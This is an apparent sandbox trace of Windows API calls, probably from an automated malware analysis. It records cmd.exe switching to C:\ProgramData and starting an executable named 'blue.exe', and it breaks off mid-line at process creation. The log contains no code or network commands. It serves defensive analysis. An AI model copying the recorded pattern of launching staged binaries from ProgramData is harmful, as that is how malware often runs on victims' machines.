[0093.800] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4aa45260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0093.800] GetProcessHeap () returned 0x440000 [0093.800] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x8, Size=0x210) returned 0x454558 [0093.800] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x454560, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b [0093.800] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4aa50640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0093.800] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4aa50640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0093.800] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4aa50640, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0093.800] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4aa50640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0093.801] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4aa50640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0093.801] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0093.801] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0093.801] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0093.801] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0093.801] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0093.801] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0093.801] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0093.801] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0093.801] GetProcessHeap () returned 0x440000 [0093.801] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x8, Size=0x54) returned 0x454770 [0093.801] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x36f9d8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0093.801] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x36f9d8, lpFilePart=0x36f9d4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x36f9d4*="Desktop") returned 0x25 [0093.801] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0093.801] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x36f754 | out: lpFindFileData=0x36f754*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x452218 [0093.801] FindClose (in: hFindFile=0x452218 | out: hFindFile=0x452218) returned 1 [0093.801] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x36f754 | out: lpFindFileData=0x36f754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x452218 [0093.801] FindClose (in: hFindFile=0x452218 | out: hFindFile=0x452218) returned 1 [0093.801] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20 [0093.801] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x36f754 | out: lpFindFileData=0x36f754*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x68549420, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x68549420, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x452218 [0093.802] FindClose (in: hFindFile=0x452218 | out: hFindFile=0x452218) returned 1 [0093.802] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0093.802] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1 [0093.802] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1 [0093.802] GetProcessHeap () returned 0x440000 [0093.802] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x452ed8 | out: hHeap=0x440000) returned 1 [0093.802] GetEnvironmentStringsW () returned 0x452398* [0093.802] GetProcessHeap () returned 0x440000 [0093.802] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x8, Size=0xb36) returned 0x452ed8 [0093.802] FreeEnvironmentStringsW (penv=0x452398) returned 1 [0093.802] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4aa45260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0093.802] GetProcessHeap () returned 0x440000 [0093.802] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x454770 | out: hHeap=0x440000) returned 1 [0093.802] GetProcessHeap () returned 0x440000 [0093.802] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x8, Size=0x400e) returned 0x454fd0 [0093.802] GetProcessHeap () returned 0x440000 [0093.802] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x8, Size=0x7a) returned 0x452398 [0093.803] GetProcessHeap () returned 0x440000 [0093.803] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x454fd0 | out: hHeap=0x440000) returned 1 [0093.803] GetConsoleOutputCP () returned 0x1b5 [0093.803] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4aa44260 | out: lpCPInfo=0x4aa44260) returned 1 [0093.803] GetUserDefaultLCID () returned 0x409 [0093.803] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4aa44950, cchData=8 | out: lpLCData=":") returned 2 [0093.803] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x36fb18, cchData=128 | out: lpLCData="0") returned 2 [0093.803] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x36fb18, cchData=128 | out: lpLCData="0") returned 2 [0093.804] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x36fb18, cchData=128 | out: lpLCData="1") returned 2 [0093.804] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4aa44940, cchData=8 | out: lpLCData="/") returned 2 [0093.804] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4aa44d80, cchData=32 | out: lpLCData="Mon") returned 4 [0093.804] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4aa44d40, cchData=32 | out: lpLCData="Tue") returned 4 [0093.804] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4aa44d00, cchData=32 | out: lpLCData="Wed") returned 4 [0093.804] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4aa44cc0, cchData=32 | out: lpLCData="Thu") returned 4 [0093.804] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4aa44c80, cchData=32 | out: lpLCData="Fri") returned 4 [0093.804] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4aa44c40, cchData=32 | out: lpLCData="Sat") returned 4 [0093.804] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4aa44c00, cchData=32 | out: lpLCData="Sun") returned 4 [0093.804] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4aa44930, cchData=8 | out: lpLCData=".") returned 2 [0093.804] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4aa44920, cchData=8 | out: lpLCData=",") returned 2 [0093.804] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0093.805] GetProcessHeap () returned 0x440000 [0093.805] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x20c) returned 0x452420 [0093.805] GetConsoleTitleW (in: lpConsoleTitle=0x452420, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1b [0093.805] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76e10000 [0093.805] GetProcAddress (hModule=0x76e10000, lpProcName="CopyFileExW") returned 0x76e43b92 [0093.805] GetProcAddress (hModule=0x76e10000, lpProcName="IsDebuggerPresent") returned 0x76e24a5d [0093.805] GetProcAddress (hModule=0x76e10000, lpProcName="SetConsoleInputExeNameW") returned 0x76e3a79d [0093.806] GetProcessHeap () returned 0x440000 [0093.806] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x8, Size=0x400a) returned 0x454fd0 [0093.806] GetProcessHeap () returned 0x440000 [0093.806] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x454fd0 | out: hHeap=0x440000) returned 1 [0093.806] _wcsicmp (_String1="cd", _String2=")") returned 58 [0093.806] _wcsicmp (_String1="FOR", _String2="cd") returned 3 [0093.806] _wcsicmp (_String1="FOR/?", _String2="cd") returned 3 [0093.806] _wcsicmp (_String1="IF", _String2="cd") returned 6 [0093.806] _wcsicmp (_String1="IF/?", _String2="cd") returned 6 [0093.806] _wcsicmp (_String1="REM", _String2="cd") returned 15 [0093.806] _wcsicmp (_String1="REM/?", _String2="cd") returned 15 [0093.806] GetProcessHeap () returned 0x440000 [0093.806] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x8, Size=0x58) returned 0x454770 [0093.806] GetProcessHeap () returned 0x440000 [0093.806] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x8, Size=0xe) returned 0x450280 [0093.807] GetProcessHeap () returned 0x440000 [0093.807] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x8, Size=0x2e) returned 0x452638 [0093.810] GetProcessHeap () returned 0x440000 [0093.810] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x8, Size=0x58) returned 0x452670 [0093.811] _wcsicmp (_String1="blue.exe", _String2=")") returned 57 [0093.811] _wcsicmp (_String1="FOR", _String2="blue.exe") returned 4 [0093.811] _wcsicmp (_String1="FOR/?", _String2="blue.exe") returned 4 [0093.811] _wcsicmp (_String1="IF", _String2="blue.exe") returned 7 [0093.811] _wcsicmp (_String1="IF/?", _String2="blue.exe") returned 7 [0093.811] _wcsicmp (_String1="REM", _String2="blue.exe") returned 16 [0093.811] _wcsicmp (_String1="REM/?", _String2="blue.exe") returned 16 [0093.811] GetProcessHeap () returned 0x440000 [0093.811] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x8, Size=0x58) returned 0x4526d0 [0093.811] GetProcessHeap () returned 0x440000 [0093.811] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x8, Size=0x1a) returned 0x454810 [0093.812] GetProcessHeap () returned 0x440000 [0093.812] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x8, Size=0x3c) returned 0x452730 [0093.812] GetConsoleTitleW (in: lpConsoleTitle=0x36f7ac, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1b [0093.856] _wcsicmp (_String1="cd", _String2="DIR") returned -1 [0093.856] _wcsicmp (_String1="cd", _String2="ERASE") returned -2 [0093.856] _wcsicmp (_String1="cd", _String2="DEL") returned -1 [0093.857] _wcsicmp (_String1="cd", _String2="TYPE") returned -17 [0093.857] _wcsicmp (_String1="cd", _String2="COPY") returned -11 [0093.857] _wcsicmp (_String1="cd", _String2="CD") returned 0 [0093.857] GetProcessHeap () returned 0x440000 [0093.857] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x8, Size=0x54) returned 0x452778 [0093.858] GetProcessHeap () returned 0x440000 [0093.858] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x452778, Size=0x30) returned 0x452778 [0093.858] GetProcessHeap () returned 0x440000 [0093.858] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x452778) returned 0x30 [0093.967] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0093.967] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0093.967] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x36f568, nVolumeNameSize=0x104, lpVolumeSerialNumber=0x36f560, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer="SYSTEM", lpVolumeSerialNumber=0x36f560*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0093.967] GetProcessHeap () returned 0x440000 [0093.967] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x8, Size=0x34) returned 0x4527b0 [0093.967] GetProcessHeap () returned 0x440000 [0093.967] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x8, Size=0x54) returned 0x4527f0 [0093.968] GetProcessHeap () returned 0x440000 [0093.968] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x4527f0, Size=0x2e) returned 0x4527f0 [0093.968] GetProcessHeap () returned 0x440000 [0093.968] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x4527f0) returned 0x2e [0093.969] _wcsnicmp (_String1="/D", _String2="/D", _MaxCount=0x2) returned 0 [0093.969] GetProcessHeap () returned 0x440000 [0093.969] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x8, Size=0x26) returned 0x452828 [0093.969] GetProcessHeap () returned 0x440000 [0093.969] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x8, Size=0x26) returned 0x452858 [0093.969] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x36f304 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0093.969] GetFullPathNameW (in: lpFileName="C:\\ProgramData", nBufferLength=0x104, lpBuffer=0x36f304, lpFilePart=0x36f300 | out: lpBuffer="C:\\ProgramData", lpFilePart=0x36f300*="ProgramData") returned 0xe [0093.969] GetFileAttributesW (lpFileName="C:\\ProgramData" (normalized: "c:\\programdata")) returned 0x2012 [0093.969] FindFirstFileW (in: lpFileName="C:\\ProgramData", lpFindFileData=0x36f080 | out: lpFindFileData=0x36f080*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8e272280, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x8e272280, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0x452888 [0093.969] FindClose (in: hFindFile=0x452888 | out: hFindFile=0x452888) returned 1 [0093.969] _wcsnicmp (_String1="PROGRA~3", _String2="ProgramData", _MaxCount=0xb) returned 17 [0093.969] GetFileAttributesW (lpFileName="C:\\ProgramData" (normalized: "c:\\programdata")) returned 0x2012 [0093.969] SetCurrentDirectoryW (lpPathName="C:\\ProgramData" (normalized: "c:\\programdata")) returned 1 [0093.969] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\ProgramData") returned 1 [0093.969] GetProcessHeap () returned 0x440000 [0093.969] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x452ed8 | out: hHeap=0x440000) returned 1 [0093.969] GetEnvironmentStringsW () returned 0x452cc0* [0093.970] GetProcessHeap () returned 0x440000 [0093.970] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x8, Size=0xb08) returned 0x454fd0 [0093.970] FreeEnvironmentStringsW (penv=0x452cc0) returned 1 [0093.970] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4aa45260 | out: lpBuffer="C:\\ProgramData") returned 0xe [0093.970] GetProcessHeap () returned 0x440000 [0093.970] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x452858 | out: hHeap=0x440000) returned 1 [0093.970] GetProcessHeap () returned 0x440000 [0093.970] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x452828 | out: hHeap=0x440000) returned 1 [0093.970] GetConsoleTitleW (in: lpConsoleTitle=0x36f7ac, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1b [0093.970] GetFileAttributesW (lpFileName="blue.exe" (normalized: "c:\\programdata\\blue.exe")) returned 0x2020 [0093.970] _wcsicmp (_String1="blue.exe", _String2="DIR") returned -2 [0093.970] _wcsicmp (_String1="blue.exe", _String2="ERASE") returned -3 [0093.970] _wcsicmp (_String1="blue.exe", _String2="DEL") returned -2 [0093.970] _wcsicmp (_String1="blue.exe", _String2="TYPE") returned -18 [0093.970] _wcsicmp (_String1="blue.exe", _String2="COPY") returned -1 [0093.970] _wcsicmp (_String1="blue.exe", _String2="CD") returned -1 [0093.970] _wcsicmp (_String1="blue.exe", _String2="CHDIR") returned -1 [0093.970] _wcsicmp (_String1="blue.exe", _String2="RENAME") returned -16 [0093.970] _wcsicmp (_String1="blue.exe", _String2="REN") returned -16 [0093.970] _wcsicmp (_String1="blue.exe", _String2="ECHO") returned -3 [0093.970] _wcsicmp (_String1="blue.exe", _String2="SET") returned -17 [0093.971] _wcsicmp (_String1="blue.exe", _String2="PAUSE") returned -14 [0093.971] _wcsicmp (_String1="blue.exe", _String2="DATE") returned -2 [0093.971] _wcsicmp (_String1="blue.exe", _String2="TIME") returned -18 [0093.971] _wcsicmp (_String1="blue.exe", _String2="PROMPT") returned -14 [0093.971] _wcsicmp (_String1="blue.exe", _String2="MD") returned -11 [0093.971] _wcsicmp (_String1="blue.exe", _String2="MKDIR") returned -11 [0093.971] _wcsicmp (_String1="blue.exe", _String2="RD") returned -16 [0093.971] _wcsicmp (_String1="blue.exe", _String2="RMDIR") returned -16 [0093.971] _wcsicmp (_String1="blue.exe", _String2="PATH") returned -14 [0093.971] _wcsicmp (_String1="blue.exe", _String2="GOTO") returned -5 [0093.971] _wcsicmp (_String1="blue.exe", _String2="SHIFT") returned -17 [0093.971] _wcsicmp (_String1="blue.exe", _String2="CLS") returned -1 [0093.971] _wcsicmp (_String1="blue.exe", _String2="CALL") returned -1 [0093.971] _wcsicmp (_String1="blue.exe", _String2="VERIFY") returned -20 [0093.971] _wcsicmp (_String1="blue.exe", _String2="VER") returned -20 [0093.971] _wcsicmp (_String1="blue.exe", _String2="VOL") returned -20 [0093.971] _wcsicmp (_String1="blue.exe", _String2="EXIT") returned -3 [0093.971] _wcsicmp (_String1="blue.exe", _String2="SETLOCAL") returned -17 [0093.971] _wcsicmp (_String1="blue.exe", _String2="ENDLOCAL") returned -3 [0093.971] _wcsicmp (_String1="blue.exe", _String2="TITLE") returned -18 [0093.971] _wcsicmp (_String1="blue.exe", _String2="START") returned -17 [0093.971] _wcsicmp (_String1="blue.exe", _String2="DPATH") returned -2 [0093.971] _wcsicmp (_String1="blue.exe", _String2="KEYS") returned -9 [0093.971] _wcsicmp (_String1="blue.exe", _String2="MOVE") returned -11 [0093.971] _wcsicmp (_String1="blue.exe", _String2="PUSHD") returned -14 [0093.971] _wcsicmp (_String1="blue.exe", _String2="POPD") returned -14 [0093.971] _wcsicmp (_String1="blue.exe", _String2="ASSOC") returned 1 [0093.971] _wcsicmp (_String1="blue.exe", _String2="FTYPE") returned -4 [0093.971] _wcsicmp (_String1="blue.exe", _String2="BREAK") returned -6 [0093.971] _wcsicmp (_String1="blue.exe", _String2="COLOR") returned -1 [0093.971] _wcsicmp (_String1="blue.exe", _String2="MKLINK") returned -11 [0093.971] _wcsicmp (_String1="blue.exe", _String2="DIR") returned -2 [0093.971] _wcsicmp (_String1="blue.exe", _String2="ERASE") returned -3 [0093.971] _wcsicmp (_String1="blue.exe", _String2="DEL") returned -2 [0093.971] _wcsicmp (_String1="blue.exe", _String2="TYPE") returned -18 [0093.971] _wcsicmp (_String1="blue.exe", _String2="COPY") returned -1 [0093.972] _wcsicmp (_String1="blue.exe", _String2="CD") returned -1 [0093.972] _wcsicmp (_String1="blue.exe", _String2="CHDIR") returned -1 [0093.972] _wcsicmp (_String1="blue.exe", _String2="RENAME") returned -16 [0093.972] _wcsicmp (_String1="blue.exe", _String2="REN") returned -16 [0093.972] _wcsicmp (_String1="blue.exe", _String2="ECHO") returned -3 [0093.972] _wcsicmp (_String1="blue.exe", _String2="SET") returned -17 [0093.972] _wcsicmp (_String1="blue.exe", _String2="PAUSE") returned -14 [0093.972] _wcsicmp (_String1="blue.exe", _String2="DATE") returned -2 [0093.972] _wcsicmp (_String1="blue.exe", _String2="TIME") returned -18 [0093.972] _wcsicmp (_String1="blue.exe", _String2="PROMPT") returned -14 [0093.972] _wcsicmp (_String1="blue.exe", _String2="MD") returned -11 [0093.972] _wcsicmp (_String1="blue.exe", _String2="MKDIR") returned -11 [0093.972] _wcsicmp (_String1="blue.exe", _String2="RD") returned -16 [0093.972] _wcsicmp (_String1="blue.exe", _String2="RMDIR") returned -16 [0093.972] _wcsicmp (_String1="blue.exe", _String2="PATH") returned -14 [0093.972] _wcsicmp (_String1="blue.exe", _String2="GOTO") returned -5 [0093.972] _wcsicmp (_String1="blue.exe", _String2="SHIFT") returned -17 [0093.972] _wcsicmp (_String1="blue.exe", _String2="CLS") returned -1 [0093.972] _wcsicmp (_String1="blue.exe", _String2="CALL") returned -1 [0093.972] _wcsicmp (_String1="blue.exe", _String2="VERIFY") returned -20 [0093.972] _wcsicmp (_String1="blue.exe", _String2="VER") returned -20 [0093.972] _wcsicmp (_String1="blue.exe", _String2="VOL") returned -20 [0093.972] _wcsicmp (_String1="blue.exe", _String2="EXIT") returned -3 [0093.972] _wcsicmp (_String1="blue.exe", _String2="SETLOCAL") returned -17 [0093.972] _wcsicmp (_String1="blue.exe", _String2="ENDLOCAL") returned -3 [0093.972] _wcsicmp (_String1="blue.exe", _String2="TITLE") returned -18 [0093.972] _wcsicmp (_String1="blue.exe", _String2="START") returned -17 [0093.972] _wcsicmp (_String1="blue.exe", _String2="DPATH") returned -2 [0093.972] _wcsicmp (_String1="blue.exe", _String2="KEYS") returned -9 [0093.972] _wcsicmp (_String1="blue.exe", _String2="MOVE") returned -11 [0093.972] _wcsicmp (_String1="blue.exe", _String2="PUSHD") returned -14 [0093.972] _wcsicmp (_String1="blue.exe", _String2="POPD") returned -14 [0093.972] _wcsicmp (_String1="blue.exe", _String2="ASSOC") returned 1 [0093.972] _wcsicmp (_String1="blue.exe", _String2="FTYPE") returned -4 [0093.972] _wcsicmp (_String1="blue.exe", _String2="BREAK") returned -6 [0093.972] _wcsicmp (_String1="blue.exe", _String2="COLOR") returned -1 [0093.972] _wcsicmp (_String1="blue.exe", _String2="MKLINK") returned -11 [0093.973] _wcsicmp (_String1="blue.exe", _String2="FOR") returned -4 [0093.973] _wcsicmp (_String1="blue.exe", _String2="IF") returned -7 [0093.973] _wcsicmp (_String1="blue.exe", _String2="REM") returned -16 [0093.973] GetProcessHeap () returned 0x440000 [0093.973] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x8, Size=0x210) returned 0x4429b0 [0093.973] GetProcessHeap () returned 0x440000 [0093.973] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x8, Size=0x4e) returned 0x452828 [0093.973] _wcsnicmp (_String1="blue", _String2="cmd ", _MaxCount=0x4) returned -1 [0093.973] GetProcessHeap () returned 0x440000 [0093.973] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x8, Size=0x418) returned 0x452cc0 [0093.973] SetErrorMode (uMode=0x0) returned 0x0 [0093.973] SetErrorMode (uMode=0x1) returned 0x0 [0093.973] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x452cc8, lpFilePart=0x36f2cc | out: lpBuffer="C:\\ProgramData", lpFilePart=0x36f2cc*="ProgramData") returned 0xe [0093.973] SetErrorMode (uMode=0x0) returned 0x1 [0093.974] GetProcessHeap () returned 0x440000 [0093.974] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x452cc0, Size=0x38) returned 0x452cc0 [0093.974] GetProcessHeap () returned 0x440000 [0093.974] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x452cc0) returned 0x38 [0093.974] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4aa50640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0093.974] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0093.974] GetProcessHeap () returned 0x440000 [0093.974] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x8, Size=0xf2) returned 0x452880 [0093.974] GetProcessHeap () returned 0x440000 [0093.974] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x8, Size=0x1dc) returned 0x452d00 [0093.977] GetProcessHeap () returned 0x440000 [0093.977] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x452d00, Size=0xf4) returned 0x452d00 [0093.977] GetProcessHeap () returned 0x440000 [0093.977] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x452d00) returned 0xf4 [0093.977] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4aa50640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0093.977] GetProcessHeap () returned 0x440000 [0093.977] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x8, Size=0xe0) returned 0x452980 [0093.977] GetProcessHeap () returned 0x440000 [0093.977] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x452980, Size=0x76) returned 0x452980 [0093.977] GetProcessHeap () returned 0x440000 [0093.977] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x452980) returned 0x76 [0093.978] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0093.978] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\blue.exe", fInfoLevelId=0x1, lpFindFileData=0x36f068, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x36f068) returned 0x452a00 [0093.978] GetProcessHeap () returned 0x440000 [0093.978] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x14) returned 0x452a40 [0093.978] FindClose (in: hFindFile=0x452a00 | out: hFindFile=0x452a00) returned 1 [0093.978] _wcsicmp (_String1=".exe", _String2=".CMD") returned 2 [0093.978] _wcsicmp (_String1=".exe", _String2=".BAT") returned 3 [0093.978] GetConsoleTitleW (in: lpConsoleTitle=0x36f540, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1b [0093.978] InitializeProcThreadAttributeList (in: lpAttributeList=0x36f3c8, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x36f490 | out: lpAttributeList=0x36f3c8, lpSize=0x36f490) returned 1 [0093.978] UpdateProcThreadAttribute (in: lpAttributeList=0x36f3c8, dwFlags=0x0, Attribute=0x60001, lpValue=0x36f488, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x36f3c8, lpPreviousValue=0x0) returned 1 [0093.978] GetStartupInfoW (in: lpStartupInfo=0x36f384 | out: lpStartupInfo=0x36f384*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x144, lpReserved2=0x441a66, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0093.978] GetProcessHeap () returned 0x440000 [0093.978] 